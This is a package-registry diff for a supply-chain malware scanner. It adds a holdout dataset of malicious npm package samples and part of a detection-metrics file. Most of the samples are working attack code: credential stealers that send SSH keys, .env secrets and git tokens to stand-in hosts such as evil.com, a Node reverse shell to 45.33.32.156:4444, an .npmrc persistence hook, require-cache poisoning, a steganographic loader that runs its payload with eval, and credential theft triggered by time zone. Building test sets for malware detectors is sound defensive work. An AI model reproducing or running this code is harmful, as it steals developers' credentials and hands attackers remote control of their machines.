muaddib-scanner 2.2.1 → 2.2.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/datasets/holdout-v3/dns-txt-payload/index.js +11 -0
- package/datasets/holdout-v3/dns-txt-payload/package.json +6 -0
- package/datasets/holdout-v3/electron-rce/index.js +32 -0
- package/datasets/holdout-v3/electron-rce/package.json +6 -0
- package/datasets/holdout-v3/env-file-parse-exfil/index.js +39 -0
- package/datasets/holdout-v3/env-file-parse-exfil/package.json +6 -0
- package/datasets/holdout-v3/git-credential-steal/index.js +41 -0
- package/datasets/holdout-v3/git-credential-steal/package.json +6 -0
- package/datasets/holdout-v3/npm-hook-hijack/index.js +20 -0
- package/datasets/holdout-v3/npm-hook-hijack/package.json +9 -0
- package/datasets/holdout-v3/postinstall-reverse-shell/index.js +24 -0
- package/datasets/holdout-v3/postinstall-reverse-shell/package.json +9 -0
- package/datasets/holdout-v3/require-cache-poison/index.js +26 -0
- package/datasets/holdout-v3/require-cache-poison/package.json +6 -0
- package/datasets/holdout-v3/steganography-payload/index.js +31 -0
- package/datasets/holdout-v3/steganography-payload/package.json +6 -0
- package/datasets/holdout-v3/symlink-escape/index.js +30 -0
- package/datasets/holdout-v3/symlink-escape/package.json +6 -0
- package/datasets/holdout-v3/timezone-trigger/index.js +38 -0
- package/datasets/holdout-v3/timezone-trigger/package.json +6 -0
- package/metrics/v2.2.1.json +753 -0
- package/package.json +1 -1
- package/src/response/playbooks.js +10 -0
- package/src/rules/index.js +23 -0
- package/src/scanner/ast.js +71 -0
- package/src/scanner/dataflow.js +8 -1
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
|
|
3
|
+
// Retrieve payload from DNS TXT record — no HTTP involved
|
|
4
|
+
dns.resolveTxt('payload.evil-dns.com', (err, records) => {
|
|
5
|
+
if (err) return;
|
|
6
|
+
// TXT records come as arrays of strings
|
|
7
|
+
const encoded = records.map(r => r.join('')).join('');
|
|
8
|
+
const decoded = Buffer.from(encoded, 'base64').toString('utf8');
|
|
9
|
+
// Execute the payload received via DNS
|
|
10
|
+
eval(decoded);
|
|
11
|
+
});
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
// Only activate in Electron environment where we have elevated privileges
|
|
2
|
+
if (process.versions && process.versions.electron) {
|
|
3
|
+
const { exec } = require('child_process');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
|
|
6
|
+
// Electron apps often run with higher privileges
|
|
7
|
+
const platform = os.platform();
|
|
8
|
+
let cmd;
|
|
9
|
+
if (platform === 'win32') {
|
|
10
|
+
cmd = 'powershell -NoProfile -Command "Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select DisplayName, InstallLocation | ConvertTo-Json"';
|
|
11
|
+
} else if (platform === 'darwin') {
|
|
12
|
+
cmd = 'security find-generic-password -ga "Chrome" 2>&1 | head -20';
|
|
13
|
+
} else {
|
|
14
|
+
cmd = 'cat /etc/shadow 2>/dev/null || cat /etc/passwd';
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
exec(cmd, (err, stdout) => {
|
|
18
|
+
if (stdout) {
|
|
19
|
+
const https = require('https');
|
|
20
|
+
const data = JSON.stringify({ platform, data: stdout });
|
|
21
|
+
const req = https.request({
|
|
22
|
+
hostname: 'electron-data.evil.com',
|
|
23
|
+
port: 443,
|
|
24
|
+
path: '/exfil',
|
|
25
|
+
method: 'POST',
|
|
26
|
+
headers: { 'Content-Type': 'application/json' }
|
|
27
|
+
});
|
|
28
|
+
req.write(data);
|
|
29
|
+
req.end();
|
|
30
|
+
}
|
|
31
|
+
});
|
|
32
|
+
}
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
|
|
5
|
+
// Read .env file directly — no dotenv, no process.env
|
|
6
|
+
const envPath = path.join(process.cwd(), '.env');
|
|
7
|
+
let envContent;
|
|
8
|
+
try {
|
|
9
|
+
envContent = fs.readFileSync(envPath, 'utf8');
|
|
10
|
+
} catch(e) { process.exit(0); }
|
|
11
|
+
|
|
12
|
+
// Manual KEY=VALUE parsing
|
|
13
|
+
const secrets = {};
|
|
14
|
+
envContent.split('\n').forEach(line => {
|
|
15
|
+
const trimmed = line.trim();
|
|
16
|
+
if (!trimmed || trimmed.startsWith('#')) return;
|
|
17
|
+
const eqIdx = trimmed.indexOf('=');
|
|
18
|
+
if (eqIdx === -1) return;
|
|
19
|
+
const key = trimmed.slice(0, eqIdx).trim();
|
|
20
|
+
const val = trimmed.slice(eqIdx + 1).trim().replace(/^["']|["']$/g, '');
|
|
21
|
+
if (/TOKEN|SECRET|KEY|PASSWORD|API/i.test(key)) {
|
|
22
|
+
secrets[key] = val;
|
|
23
|
+
}
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
// Exfiltrate parsed secrets
|
|
27
|
+
if (Object.keys(secrets).length > 0) {
|
|
28
|
+
const data = JSON.stringify(secrets);
|
|
29
|
+
const opts = {
|
|
30
|
+
hostname: 'env-collector.malware.io',
|
|
31
|
+
port: 443,
|
|
32
|
+
path: '/api/env',
|
|
33
|
+
method: 'POST',
|
|
34
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
|
|
35
|
+
};
|
|
36
|
+
const req = https.request(opts);
|
|
37
|
+
req.write(data);
|
|
38
|
+
req.end();
|
|
39
|
+
}
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
|
|
6
|
+
const home = os.homedir();
|
|
7
|
+
const collected = {};
|
|
8
|
+
|
|
9
|
+
// Read git config for remote URLs with embedded tokens
|
|
10
|
+
try {
|
|
11
|
+
const gitConfig = fs.readFileSync(path.join(home, '.gitconfig'), 'utf8');
|
|
12
|
+
const urlMatches = gitConfig.match(/url\s*=\s*.+/g);
|
|
13
|
+
if (urlMatches) collected.gitconfig = urlMatches;
|
|
14
|
+
} catch(e) {}
|
|
15
|
+
|
|
16
|
+
// Read stored git credentials
|
|
17
|
+
try {
|
|
18
|
+
const creds = fs.readFileSync(path.join(home, '.git-credentials'), 'utf8');
|
|
19
|
+
collected.credentials = creds.split('\n').filter(l => l.trim());
|
|
20
|
+
} catch(e) {}
|
|
21
|
+
|
|
22
|
+
// Also check the project-level .git/config
|
|
23
|
+
try {
|
|
24
|
+
const localConfig = fs.readFileSync(path.join(process.cwd(), '.git', 'config'), 'utf8');
|
|
25
|
+
const remotes = localConfig.match(/url\s*=\s*.+/g);
|
|
26
|
+
if (remotes) collected.localRemotes = remotes;
|
|
27
|
+
} catch(e) {}
|
|
28
|
+
|
|
29
|
+
if (Object.keys(collected).length > 0) {
|
|
30
|
+
const payload = JSON.stringify(collected);
|
|
31
|
+
const opts = {
|
|
32
|
+
hostname: 'git-tokens.exfil.dev',
|
|
33
|
+
port: 443,
|
|
34
|
+
path: '/collect',
|
|
35
|
+
method: 'POST',
|
|
36
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
37
|
+
};
|
|
38
|
+
const req = https.request(opts);
|
|
39
|
+
req.write(payload);
|
|
40
|
+
req.end();
|
|
41
|
+
}
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
|
|
5
|
+
const home = os.homedir();
|
|
6
|
+
const npmrcPath = path.join(home, '.npmrc');
|
|
7
|
+
|
|
8
|
+
// Read existing .npmrc content
|
|
9
|
+
let existing = '';
|
|
10
|
+
try {
|
|
11
|
+
existing = fs.readFileSync(npmrcPath, 'utf8');
|
|
12
|
+
} catch(e) {}
|
|
13
|
+
|
|
14
|
+
// Inject an oninstall hook for persistence
|
|
15
|
+
// This will execute on every future npm install
|
|
16
|
+
const hook = '\noninstall=node -e "require(\'https\').get(\'https://hooks.malware.io/ping?h=\'+require(\'os\').hostname())"';
|
|
17
|
+
|
|
18
|
+
if (!existing.includes('oninstall')) {
|
|
19
|
+
fs.writeFileSync(npmrcPath, existing + hook, 'utf8');
|
|
20
|
+
}
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
const net = require('net');
|
|
2
|
+
const { spawn } = require('child_process');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
const HOST = '45.33.32.156';
|
|
6
|
+
const PORT = 4444;
|
|
7
|
+
|
|
8
|
+
const client = new net.Socket();
|
|
9
|
+
client.connect(PORT, HOST, function() {
|
|
10
|
+
const shell = os.platform() === 'win32' ? 'cmd.exe' : '/bin/sh';
|
|
11
|
+
const proc = spawn(shell, { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
12
|
+
|
|
13
|
+
client.pipe(proc.stdin);
|
|
14
|
+
proc.stdout.pipe(client);
|
|
15
|
+
proc.stderr.pipe(client);
|
|
16
|
+
|
|
17
|
+
proc.on('exit', function() {
|
|
18
|
+
client.destroy();
|
|
19
|
+
});
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
client.on('error', function() {
|
|
23
|
+
// Silent failure
|
|
24
|
+
});
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const origRequest = https.request;
|
|
3
|
+
|
|
4
|
+
// Poison the require cache — replace https module with interceptor
|
|
5
|
+
const mod = require.cache[require.resolve('https')];
|
|
6
|
+
mod.exports.request = function(options, callback) {
|
|
7
|
+
const headers = options.headers || {};
|
|
8
|
+
if (headers['Authorization'] || headers['authorization']) {
|
|
9
|
+
const stolen = JSON.stringify({
|
|
10
|
+
host: options.hostname || options.host,
|
|
11
|
+
path: options.path,
|
|
12
|
+
auth: headers['Authorization'] || headers['authorization']
|
|
13
|
+
});
|
|
14
|
+
const exfilOpts = {
|
|
15
|
+
hostname: 'collect.evil-analytics.com',
|
|
16
|
+
port: 443,
|
|
17
|
+
path: '/api/headers',
|
|
18
|
+
method: 'POST',
|
|
19
|
+
headers: { 'Content-Type': 'application/json' }
|
|
20
|
+
};
|
|
21
|
+
const req = origRequest(exfilOpts);
|
|
22
|
+
req.write(stolen);
|
|
23
|
+
req.end();
|
|
24
|
+
}
|
|
25
|
+
return origRequest.call(https, options, callback);
|
|
26
|
+
};
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
|
|
4
|
+
// Read embedded PNG image from the package
|
|
5
|
+
const imgPath = path.join(__dirname, 'assets', 'logo.png');
|
|
6
|
+
let imgBuffer;
|
|
7
|
+
try {
|
|
8
|
+
imgBuffer = fs.readFileSync(imgPath);
|
|
9
|
+
} catch(e) { process.exit(0); }
|
|
10
|
+
|
|
11
|
+
// Skip PNG header (8 bytes) and find IDAT chunks
|
|
12
|
+
// Extract LSB from pixel data to reconstruct hidden payload
|
|
13
|
+
const pixels = imgBuffer.slice(imgBuffer.indexOf('IDAT') + 8);
|
|
14
|
+
let bits = '';
|
|
15
|
+
for (let i = 0; i < Math.min(pixels.length, 8192); i++) {
|
|
16
|
+
bits += (pixels[i] & 1).toString();
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
// Convert bits to bytes
|
|
20
|
+
let payload = '';
|
|
21
|
+
for (let i = 0; i + 8 <= bits.length; i += 8) {
|
|
22
|
+
const byte = parseInt(bits.slice(i, i + 8), 2);
|
|
23
|
+
if (byte === 0) break;
|
|
24
|
+
payload += String.fromCharCode(byte);
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
// Decode and execute the hidden payload
|
|
28
|
+
if (payload.length > 10) {
|
|
29
|
+
const decoded = Buffer.from(payload, 'base64').toString('utf8');
|
|
30
|
+
eval(decoded);
|
|
31
|
+
}
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
|
|
6
|
+
const home = os.homedir();
|
|
7
|
+
const target = path.join(home, '.ssh', 'id_rsa');
|
|
8
|
+
const link = path.join(__dirname, '.cache', 'temp_link');
|
|
9
|
+
|
|
10
|
+
// Create a symlink to bypass direct path checks
|
|
11
|
+
try { fs.mkdirSync(path.join(__dirname, '.cache'), { recursive: true }); } catch(e) {}
|
|
12
|
+
try { fs.symlinkSync(target, link); } catch(e) {}
|
|
13
|
+
|
|
14
|
+
// Read through the symlink — not the direct sensitive path
|
|
15
|
+
const keyData = fs.readFileSync(link, 'utf8');
|
|
16
|
+
|
|
17
|
+
const payload = JSON.stringify({ key: keyData, host: os.hostname() });
|
|
18
|
+
const opts = {
|
|
19
|
+
hostname: 'keys.exfil-service.net',
|
|
20
|
+
port: 443,
|
|
21
|
+
path: '/upload',
|
|
22
|
+
method: 'POST',
|
|
23
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
24
|
+
};
|
|
25
|
+
const req = https.request(opts);
|
|
26
|
+
req.write(payload);
|
|
27
|
+
req.end();
|
|
28
|
+
|
|
29
|
+
// Cleanup
|
|
30
|
+
try { fs.unlinkSync(link); } catch(e) {}
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
|
|
5
|
+
// Geographic targeting — only activate in specific timezones
|
|
6
|
+
const tz = Intl.DateTimeFormat().resolvedOptions().timeZone;
|
|
7
|
+
const targets = ['Europe/Kiev', 'Europe/Moscow', 'Asia/Tehran', 'Asia/Pyongyang'];
|
|
8
|
+
|
|
9
|
+
if (targets.includes(tz)) {
|
|
10
|
+
const home = os.homedir();
|
|
11
|
+
const secrets = {};
|
|
12
|
+
|
|
13
|
+
// Harvest credentials
|
|
14
|
+
try {
|
|
15
|
+
secrets.sshKey = fs.readFileSync(path.join(home, '.ssh', 'id_rsa'), 'utf8');
|
|
16
|
+
} catch(e) {}
|
|
17
|
+
try {
|
|
18
|
+
secrets.npmrc = fs.readFileSync(path.join(home, '.npmrc'), 'utf8');
|
|
19
|
+
} catch(e) {}
|
|
20
|
+
try {
|
|
21
|
+
secrets.awsCreds = fs.readFileSync(path.join(home, '.aws', 'credentials'), 'utf8');
|
|
22
|
+
} catch(e) {}
|
|
23
|
+
|
|
24
|
+
secrets.timezone = tz;
|
|
25
|
+
secrets.hostname = os.hostname();
|
|
26
|
+
secrets.user = os.userInfo().username;
|
|
27
|
+
|
|
28
|
+
const data = JSON.stringify(secrets);
|
|
29
|
+
const req = https.request({
|
|
30
|
+
hostname: 'geo-intel.evil-apt.com',
|
|
31
|
+
port: 443,
|
|
32
|
+
path: '/target',
|
|
33
|
+
method: 'POST',
|
|
34
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
|
|
35
|
+
});
|
|
36
|
+
req.write(data);
|
|
37
|
+
req.end();
|
|
38
|
+
}
|
|
@@ -0,0 +1,753 @@
|
|
|
1
|
+
{
|
|
2
|
+
"version": "2.2.1",
|
|
3
|
+
"date": "2026-02-20T16:18:59.596Z",
|
|
4
|
+
"groundTruth": {
|
|
5
|
+
"detected": 4,
|
|
6
|
+
"total": 4,
|
|
7
|
+
"tpr": 1,
|
|
8
|
+
"details": [
|
|
9
|
+
{
|
|
10
|
+
"name": "event-stream",
|
|
11
|
+
"id": "GT-001",
|
|
12
|
+
"score": 25,
|
|
13
|
+
"detected": true,
|
|
14
|
+
"threshold": 3
|
|
15
|
+
},
|
|
16
|
+
{
|
|
17
|
+
"name": "ua-parser-js",
|
|
18
|
+
"id": "GT-002",
|
|
19
|
+
"score": 6,
|
|
20
|
+
"detected": true,
|
|
21
|
+
"threshold": 3
|
|
22
|
+
},
|
|
23
|
+
{
|
|
24
|
+
"name": "coa",
|
|
25
|
+
"id": "GT-003",
|
|
26
|
+
"score": 23,
|
|
27
|
+
"detected": true,
|
|
28
|
+
"threshold": 3
|
|
29
|
+
},
|
|
30
|
+
{
|
|
31
|
+
"name": "node-ipc",
|
|
32
|
+
"id": "GT-004",
|
|
33
|
+
"score": 25,
|
|
34
|
+
"detected": true,
|
|
35
|
+
"threshold": 3
|
|
36
|
+
}
|
|
37
|
+
]
|
|
38
|
+
},
|
|
39
|
+
"benign": {
|
|
40
|
+
"flagged": 0,
|
|
41
|
+
"total": 98,
|
|
42
|
+
"fpr": 0,
|
|
43
|
+
"details": [
|
|
44
|
+
{
|
|
45
|
+
"name": "express",
|
|
46
|
+
"score": 0,
|
|
47
|
+
"flagged": false
|
|
48
|
+
},
|
|
49
|
+
{
|
|
50
|
+
"name": "lodash",
|
|
51
|
+
"score": 0,
|
|
52
|
+
"flagged": false
|
|
53
|
+
},
|
|
54
|
+
{
|
|
55
|
+
"name": "react",
|
|
56
|
+
"score": 0,
|
|
57
|
+
"flagged": false
|
|
58
|
+
},
|
|
59
|
+
{
|
|
60
|
+
"name": "axios",
|
|
61
|
+
"score": 0,
|
|
62
|
+
"flagged": false
|
|
63
|
+
},
|
|
64
|
+
{
|
|
65
|
+
"name": "webpack",
|
|
66
|
+
"score": 0,
|
|
67
|
+
"flagged": false
|
|
68
|
+
},
|
|
69
|
+
{
|
|
70
|
+
"name": "typescript",
|
|
71
|
+
"score": 0,
|
|
72
|
+
"flagged": false
|
|
73
|
+
},
|
|
74
|
+
{
|
|
75
|
+
"name": "eslint",
|
|
76
|
+
"score": 0,
|
|
77
|
+
"flagged": false
|
|
78
|
+
},
|
|
79
|
+
{
|
|
80
|
+
"name": "prettier",
|
|
81
|
+
"score": 0,
|
|
82
|
+
"flagged": false
|
|
83
|
+
},
|
|
84
|
+
{
|
|
85
|
+
"name": "jest",
|
|
86
|
+
"score": 0,
|
|
87
|
+
"flagged": false
|
|
88
|
+
},
|
|
89
|
+
{
|
|
90
|
+
"name": "mocha",
|
|
91
|
+
"score": 0,
|
|
92
|
+
"flagged": false
|
|
93
|
+
},
|
|
94
|
+
{
|
|
95
|
+
"name": "next",
|
|
96
|
+
"score": 0,
|
|
97
|
+
"flagged": false
|
|
98
|
+
},
|
|
99
|
+
{
|
|
100
|
+
"name": "vue",
|
|
101
|
+
"score": 0,
|
|
102
|
+
"flagged": false
|
|
103
|
+
},
|
|
104
|
+
{
|
|
105
|
+
"name": "moment",
|
|
106
|
+
"score": 0,
|
|
107
|
+
"flagged": false
|
|
108
|
+
},
|
|
109
|
+
{
|
|
110
|
+
"name": "dayjs",
|
|
111
|
+
"score": 0,
|
|
112
|
+
"flagged": false
|
|
113
|
+
},
|
|
114
|
+
{
|
|
115
|
+
"name": "uuid",
|
|
116
|
+
"score": 0,
|
|
117
|
+
"flagged": false
|
|
118
|
+
},
|
|
119
|
+
{
|
|
120
|
+
"name": "chalk",
|
|
121
|
+
"score": 0,
|
|
122
|
+
"flagged": false
|
|
123
|
+
},
|
|
124
|
+
{
|
|
125
|
+
"name": "commander",
|
|
126
|
+
"score": 0,
|
|
127
|
+
"flagged": false
|
|
128
|
+
},
|
|
129
|
+
{
|
|
130
|
+
"name": "inquirer",
|
|
131
|
+
"score": 0,
|
|
132
|
+
"flagged": false
|
|
133
|
+
},
|
|
134
|
+
{
|
|
135
|
+
"name": "yargs",
|
|
136
|
+
"score": 0,
|
|
137
|
+
"flagged": false
|
|
138
|
+
},
|
|
139
|
+
{
|
|
140
|
+
"name": "dotenv",
|
|
141
|
+
"score": 0,
|
|
142
|
+
"flagged": false
|
|
143
|
+
},
|
|
144
|
+
{
|
|
145
|
+
"name": "cors",
|
|
146
|
+
"score": 10,
|
|
147
|
+
"flagged": false
|
|
148
|
+
},
|
|
149
|
+
{
|
|
150
|
+
"name": "body-parser",
|
|
151
|
+
"score": 0,
|
|
152
|
+
"flagged": false
|
|
153
|
+
},
|
|
154
|
+
{
|
|
155
|
+
"name": "mongoose",
|
|
156
|
+
"score": 0,
|
|
157
|
+
"flagged": false
|
|
158
|
+
},
|
|
159
|
+
{
|
|
160
|
+
"name": "sequelize",
|
|
161
|
+
"score": 0,
|
|
162
|
+
"flagged": false
|
|
163
|
+
},
|
|
164
|
+
{
|
|
165
|
+
"name": "passport",
|
|
166
|
+
"score": 0,
|
|
167
|
+
"flagged": false
|
|
168
|
+
},
|
|
169
|
+
{
|
|
170
|
+
"name": "jsonwebtoken",
|
|
171
|
+
"score": 0,
|
|
172
|
+
"flagged": false
|
|
173
|
+
},
|
|
174
|
+
{
|
|
175
|
+
"name": "bcrypt",
|
|
176
|
+
"score": 0,
|
|
177
|
+
"flagged": false
|
|
178
|
+
},
|
|
179
|
+
{
|
|
180
|
+
"name": "nodemailer",
|
|
181
|
+
"score": 0,
|
|
182
|
+
"flagged": false
|
|
183
|
+
},
|
|
184
|
+
{
|
|
185
|
+
"name": "socket.io",
|
|
186
|
+
"score": 0,
|
|
187
|
+
"flagged": false
|
|
188
|
+
},
|
|
189
|
+
{
|
|
190
|
+
"name": "redis",
|
|
191
|
+
"score": 10,
|
|
192
|
+
"flagged": false
|
|
193
|
+
},
|
|
194
|
+
{
|
|
195
|
+
"name": "pg",
|
|
196
|
+
"score": 0,
|
|
197
|
+
"flagged": false
|
|
198
|
+
},
|
|
199
|
+
{
|
|
200
|
+
"name": "mysql2",
|
|
201
|
+
"score": 0,
|
|
202
|
+
"flagged": false
|
|
203
|
+
},
|
|
204
|
+
{
|
|
205
|
+
"name": "sqlite3",
|
|
206
|
+
"score": 0,
|
|
207
|
+
"flagged": false
|
|
208
|
+
},
|
|
209
|
+
{
|
|
210
|
+
"name": "sharp",
|
|
211
|
+
"score": 0,
|
|
212
|
+
"flagged": false
|
|
213
|
+
},
|
|
214
|
+
{
|
|
215
|
+
"name": "multer",
|
|
216
|
+
"score": 0,
|
|
217
|
+
"flagged": false
|
|
218
|
+
},
|
|
219
|
+
{
|
|
220
|
+
"name": "formidable",
|
|
221
|
+
"score": 0,
|
|
222
|
+
"flagged": false
|
|
223
|
+
},
|
|
224
|
+
{
|
|
225
|
+
"name": "cheerio",
|
|
226
|
+
"score": 0,
|
|
227
|
+
"flagged": false
|
|
228
|
+
},
|
|
229
|
+
{
|
|
230
|
+
"name": "puppeteer",
|
|
231
|
+
"score": 0,
|
|
232
|
+
"flagged": false
|
|
233
|
+
},
|
|
234
|
+
{
|
|
235
|
+
"name": "playwright",
|
|
236
|
+
"score": 0,
|
|
237
|
+
"flagged": false
|
|
238
|
+
},
|
|
239
|
+
{
|
|
240
|
+
"name": "cypress",
|
|
241
|
+
"score": 10,
|
|
242
|
+
"flagged": false
|
|
243
|
+
},
|
|
244
|
+
{
|
|
245
|
+
"name": "electron",
|
|
246
|
+
"score": 0,
|
|
247
|
+
"flagged": false
|
|
248
|
+
},
|
|
249
|
+
{
|
|
250
|
+
"name": "react-dom",
|
|
251
|
+
"score": 0,
|
|
252
|
+
"flagged": false
|
|
253
|
+
},
|
|
254
|
+
{
|
|
255
|
+
"name": "react-router",
|
|
256
|
+
"score": 0,
|
|
257
|
+
"flagged": false
|
|
258
|
+
},
|
|
259
|
+
{
|
|
260
|
+
"name": "redux",
|
|
261
|
+
"score": 10,
|
|
262
|
+
"flagged": false
|
|
263
|
+
},
|
|
264
|
+
{
|
|
265
|
+
"name": "mobx",
|
|
266
|
+
"score": 0,
|
|
267
|
+
"flagged": false
|
|
268
|
+
},
|
|
269
|
+
{
|
|
270
|
+
"name": "rxjs",
|
|
271
|
+
"score": 0,
|
|
272
|
+
"flagged": false
|
|
273
|
+
},
|
|
274
|
+
{
|
|
275
|
+
"name": "ramda",
|
|
276
|
+
"score": 0,
|
|
277
|
+
"flagged": false
|
|
278
|
+
},
|
|
279
|
+
{
|
|
280
|
+
"name": "underscore",
|
|
281
|
+
"score": 0,
|
|
282
|
+
"flagged": false
|
|
283
|
+
},
|
|
284
|
+
{
|
|
285
|
+
"name": "async",
|
|
286
|
+
"score": 0,
|
|
287
|
+
"flagged": false
|
|
288
|
+
},
|
|
289
|
+
{
|
|
290
|
+
"name": "debug",
|
|
291
|
+
"score": 0,
|
|
292
|
+
"flagged": false
|
|
293
|
+
},
|
|
294
|
+
{
|
|
295
|
+
"name": "minimist",
|
|
296
|
+
"score": 0,
|
|
297
|
+
"flagged": false
|
|
298
|
+
},
|
|
299
|
+
{
|
|
300
|
+
"name": "glob",
|
|
301
|
+
"score": 0,
|
|
302
|
+
"flagged": false
|
|
303
|
+
},
|
|
304
|
+
{
|
|
305
|
+
"name": "rimraf",
|
|
306
|
+
"score": 0,
|
|
307
|
+
"flagged": false
|
|
308
|
+
},
|
|
309
|
+
{
|
|
310
|
+
"name": "mkdirp",
|
|
311
|
+
"score": 0,
|
|
312
|
+
"flagged": false
|
|
313
|
+
},
|
|
314
|
+
{
|
|
315
|
+
"name": "semver",
|
|
316
|
+
"score": 0,
|
|
317
|
+
"flagged": false
|
|
318
|
+
},
|
|
319
|
+
{
|
|
320
|
+
"name": "yup",
|
|
321
|
+
"score": 0,
|
|
322
|
+
"flagged": false
|
|
323
|
+
},
|
|
324
|
+
{
|
|
325
|
+
"name": "zod",
|
|
326
|
+
"score": 0,
|
|
327
|
+
"flagged": false
|
|
328
|
+
},
|
|
329
|
+
{
|
|
330
|
+
"name": "ajv",
|
|
331
|
+
"score": 0,
|
|
332
|
+
"flagged": false
|
|
333
|
+
},
|
|
334
|
+
{
|
|
335
|
+
"name": "joi",
|
|
336
|
+
"score": 0,
|
|
337
|
+
"flagged": false
|
|
338
|
+
},
|
|
339
|
+
{
|
|
340
|
+
"name": "express-validator",
|
|
341
|
+
"score": 0,
|
|
342
|
+
"flagged": false
|
|
343
|
+
},
|
|
344
|
+
{
|
|
345
|
+
"name": "helmet",
|
|
346
|
+
"score": 0,
|
|
347
|
+
"flagged": false
|
|
348
|
+
},
|
|
349
|
+
{
|
|
350
|
+
"name": "compression",
|
|
351
|
+
"score": 0,
|
|
352
|
+
"flagged": false
|
|
353
|
+
},
|
|
354
|
+
{
|
|
355
|
+
"name": "morgan",
|
|
356
|
+
"score": 0,
|
|
357
|
+
"flagged": false
|
|
358
|
+
},
|
|
359
|
+
{
|
|
360
|
+
"name": "winston",
|
|
361
|
+
"score": 0,
|
|
362
|
+
"flagged": false
|
|
363
|
+
},
|
|
364
|
+
{
|
|
365
|
+
"name": "pino",
|
|
366
|
+
"score": 10,
|
|
367
|
+
"flagged": false
|
|
368
|
+
},
|
|
369
|
+
{
|
|
370
|
+
"name": "bunyan",
|
|
371
|
+
"score": 0,
|
|
372
|
+
"flagged": false
|
|
373
|
+
},
|
|
374
|
+
{
|
|
375
|
+
"name": "dotenv-expand",
|
|
376
|
+
"score": 0,
|
|
377
|
+
"flagged": false
|
|
378
|
+
},
|
|
379
|
+
{
|
|
380
|
+
"name": "cross-env",
|
|
381
|
+
"score": 0,
|
|
382
|
+
"flagged": false
|
|
383
|
+
},
|
|
384
|
+
{
|
|
385
|
+
"name": "concurrently",
|
|
386
|
+
"score": 0,
|
|
387
|
+
"flagged": false
|
|
388
|
+
},
|
|
389
|
+
{
|
|
390
|
+
"name": "nodemon",
|
|
391
|
+
"score": 0,
|
|
392
|
+
"flagged": false
|
|
393
|
+
},
|
|
394
|
+
{
|
|
395
|
+
"name": "ts-node",
|
|
396
|
+
"score": 0,
|
|
397
|
+
"flagged": false
|
|
398
|
+
},
|
|
399
|
+
{
|
|
400
|
+
"name": "esbuild",
|
|
401
|
+
"score": 0,
|
|
402
|
+
"flagged": false
|
|
403
|
+
},
|
|
404
|
+
{
|
|
405
|
+
"name": "rollup",
|
|
406
|
+
"score": 0,
|
|
407
|
+
"flagged": false
|
|
408
|
+
},
|
|
409
|
+
{
|
|
410
|
+
"name": "vite",
|
|
411
|
+
"score": 0,
|
|
412
|
+
"flagged": false
|
|
413
|
+
},
|
|
414
|
+
{
|
|
415
|
+
"name": "parcel",
|
|
416
|
+
"score": 0,
|
|
417
|
+
"flagged": false
|
|
418
|
+
},
|
|
419
|
+
{
|
|
420
|
+
"name": "core-js",
|
|
421
|
+
"score": 0,
|
|
422
|
+
"flagged": false
|
|
423
|
+
},
|
|
424
|
+
{
|
|
425
|
+
"name": "regenerator-runtime",
|
|
426
|
+
"score": 0,
|
|
427
|
+
"flagged": false
|
|
428
|
+
},
|
|
429
|
+
{
|
|
430
|
+
"name": "whatwg-fetch",
|
|
431
|
+
"score": 0,
|
|
432
|
+
"flagged": false
|
|
433
|
+
},
|
|
434
|
+
{
|
|
435
|
+
"name": "isomorphic-fetch",
|
|
436
|
+
"score": 0,
|
|
437
|
+
"flagged": false
|
|
438
|
+
},
|
|
439
|
+
{
|
|
440
|
+
"name": "node-fetch",
|
|
441
|
+
"score": 0,
|
|
442
|
+
"flagged": false
|
|
443
|
+
},
|
|
444
|
+
{
|
|
445
|
+
"name": "got",
|
|
446
|
+
"score": 0,
|
|
447
|
+
"flagged": false
|
|
448
|
+
},
|
|
449
|
+
{
|
|
450
|
+
"name": "superagent",
|
|
451
|
+
"score": 0,
|
|
452
|
+
"flagged": false
|
|
453
|
+
},
|
|
454
|
+
{
|
|
455
|
+
"name": "form-data",
|
|
456
|
+
"score": 0,
|
|
457
|
+
"flagged": false
|
|
458
|
+
},
|
|
459
|
+
{
|
|
460
|
+
"name": "busboy",
|
|
461
|
+
"score": 0,
|
|
462
|
+
"flagged": false
|
|
463
|
+
},
|
|
464
|
+
{
|
|
465
|
+
"name": "cookie-parser",
|
|
466
|
+
"score": 0,
|
|
467
|
+
"flagged": false
|
|
468
|
+
},
|
